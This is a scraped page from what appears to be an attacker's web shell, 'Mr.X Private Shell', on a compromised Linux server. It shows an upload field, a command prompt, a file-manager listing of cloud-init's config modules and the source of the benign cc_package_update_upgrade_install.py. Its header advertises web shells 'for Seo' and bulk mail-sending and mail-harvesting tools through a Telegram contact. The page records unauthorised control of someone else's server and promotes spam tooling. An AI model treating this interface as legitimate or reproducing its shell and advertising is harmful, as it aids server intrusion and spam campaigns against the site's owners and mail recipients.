__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# Copyright (C) 2012 Yahoo! Inc.
#
# Author: Joshua Harlow <[email protected]>
#
# This file is part of cloud-init. See LICENSE file for license information.

"""Package Update Upgrade Install: update, upgrade, and install packages"""

import logging
import os
import time

from cloudinit import signal_handler, subp, util
from cloudinit.cloud import Cloud
from cloudinit.config import Config
from cloudinit.config.schema import MetaSchema
from cloudinit.distros import ALL_DISTROS
from cloudinit.log.loggers import flush_loggers
from cloudinit.settings import PER_INSTANCE

REBOOT_FILES = ("/var/run/reboot-required", "/run/reboot-needed")
REBOOT_CMD = ["/sbin/reboot"]

meta: MetaSchema = {
    "id": "cc_package_update_upgrade_install",
    "distros": [ALL_DISTROS],
    "frequency": PER_INSTANCE,
    "activate_by_schema_keys": [
        "apt_update",
        "package_update",
        "apt_upgrade",
        "package_upgrade",
        "packages",
    ],
}

LOG = logging.getLogger(__name__)


def _multi_cfg_bool_get(cfg, *keys):
    for k in keys:
        if util.get_cfg_option_bool(cfg, k, False):
            return True
    return False


def _fire_reboot(
    wait_attempts: int = 6, initial_sleep: int = 1, backoff: int = 2
):
    """Run a reboot command and panic if it doesn't happen fast enough."""
    # systemd will kill cloud-init with a signal
    # this is expected so don't behave as if this is a failure state
    with signal_handler.suspend_crash():
        subp.subp(REBOOT_CMD)
    start = time.monotonic()
    wait_time = initial_sleep
    for _i in range(wait_attempts):
        time.sleep(wait_time)
        wait_time *= backoff
        elapsed = time.monotonic() - start
        LOG.debug("Rebooted, but still running after %s seconds", int(elapsed))
    # If we got here, not good
    elapsed = time.monotonic() - start
    raise RuntimeError(
        "Reboot did not happen after %s seconds!" % (int(elapsed))
    )


def handle(name: str, cfg: Config, cloud: Cloud, args: list) -> None:
    # Handle the old style + new config names
    update = _multi_cfg_bool_get(cfg, "apt_update", "package_update")
    upgrade = _multi_cfg_bool_get(cfg, "package_upgrade", "apt_upgrade")
    reboot_if_required = _multi_cfg_bool_get(
        cfg, "apt_reboot_if_required", "package_reboot_if_required"
    )
    pkglist = util.get_cfg_option_list(cfg, "packages", [])

    errors = []
    if update or upgrade:
        try:
            cloud.distro.update_package_sources()
        except Exception as e:
            util.logexc(LOG, "Package update failed")
            errors.append(e)

    if upgrade:
        try:
            cloud.distro.package_command("upgrade")
        except Exception as e:
            util.logexc(LOG, "Package upgrade failed")
            errors.append(e)

    if len(pkglist):
        try:
            cloud.distro.install_packages(pkglist)
        except Exception as e:
            util.logexc(
                LOG, "Failure when attempting to install packages: %s", pkglist
            )
            errors.append(e)

    # TODO(smoser): handle this less violently
    # kernel and openssl (possibly some other packages)
    # write a file /var/run/reboot-required after upgrading.
    # if that file exists and configured, then just stop right now and reboot
    for reboot_marker in REBOOT_FILES:
        reboot_fn_exists = os.path.isfile(reboot_marker)
        if reboot_fn_exists:
            break
    if (upgrade or pkglist) and reboot_if_required and reboot_fn_exists:
        try:
            LOG.info(
                "***WARNING*** Rebooting after upgrade or install per %s",
                reboot_marker,
            )
            # Flush the above warning + anything else out...
            flush_loggers(LOG)
            _fire_reboot()
        except Exception as e:
            util.logexc(LOG, "Requested reboot did not happen!")
            errors.append(e)

    if len(errors):
        LOG.warning(
            "%s failed with exceptions, re-raising the last one", len(errors)
        )
        raise errors[-1]

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
schemas Folder 0755
__init__.py File 40 B 0644
cc_ansible.py File 8.17 KB 0644
cc_apk_configure.py File 4.23 KB 0644
cc_apt_configure.py File 38.23 KB 0644
cc_apt_pipelining.py File 1.85 KB 0644
cc_bootcmd.py File 1.75 KB 0644
cc_byobu.py File 2.72 KB 0644
cc_ca_certs.py File 8.67 KB 0644
cc_chef.py File 13.19 KB 0644
cc_disable_ec2_metadata.py File 1.6 KB 0644
cc_disk_setup.py File 29.6 KB 0644
cc_fan.py File 1.95 KB 0644
cc_final_message.py File 2.5 KB 0644
cc_growpart.py File 18.37 KB 0644
cc_grub_dpkg.py File 5.42 KB 0644
cc_install_hotplug.py File 3.19 KB 0644
cc_keyboard.py File 1.49 KB 0644
cc_keys_to_console.py File 2.09 KB 0644
cc_landscape.py File 3.06 KB 0644
cc_locale.py File 1.18 KB 0644
cc_lxd.py File 13.47 KB 0644
cc_mcollective.py File 4.11 KB 0644
cc_mounts.py File 18.08 KB 0644
cc_ntp.py File 18.91 KB 0644
cc_package_update_upgrade_install.py File 3.99 KB 0644
cc_phone_home.py File 3.74 KB 0644
cc_power_state_change.py File 6.15 KB 0644
cc_puppet.py File 10.72 KB 0644
cc_reset_rmc.py File 4.33 KB 0644
cc_resizefs.py File 10.63 KB 0644
cc_resolv_conf.py File 3.13 KB 0644
cc_rh_subscription.py File 15.19 KB 0644
cc_rsyslog.py File 11.47 KB 0644
cc_runcmd.py File 1.6 KB 0644
cc_salt_minion.py File 3.96 KB 0644
cc_scripts_per_boot.py File 1.27 KB 0644
cc_scripts_per_instance.py File 1.26 KB 0644
cc_scripts_per_once.py File 1.24 KB 0644
cc_scripts_user.py File 1.25 KB 0644
cc_scripts_vendor.py File 1.26 KB 0644
cc_seed_random.py File 3 KB 0644
cc_set_hostname.py File 3.4 KB 0644
cc_set_passwords.py File 10.32 KB 0644
cc_snap.py File 3.36 KB 0644
cc_spacewalk.py File 2.64 KB 0644
cc_ssh.py File 10.96 KB 0644
cc_ssh_authkey_fingerprints.py File 3.76 KB 0644
cc_ssh_import_id.py File 5.42 KB 0644
cc_timezone.py File 1.13 KB 0644
cc_ubuntu_autoinstall.py File 1.27 KB 0644
cc_ubuntu_drivers.py File 4.08 KB 0644
cc_ubuntu_pro.py File 13.64 KB 0644
cc_update_etc_hosts.py File 2.46 KB 0644
cc_update_hostname.py File 2.18 KB 0644
cc_users_groups.py File 2.86 KB 0644
cc_wireguard.py File 6.67 KB 0644
cc_write_files.py File 6 KB 0644
cc_write_files_deferred.py File 1.28 KB 0644
cc_yum_add_repo.py File 4.53 KB 0644
cc_zypper_add_repo.py File 4.93 KB 0644
modules.py File 13.32 KB 0644
schema.py File 50.77 KB 0644
Filemanager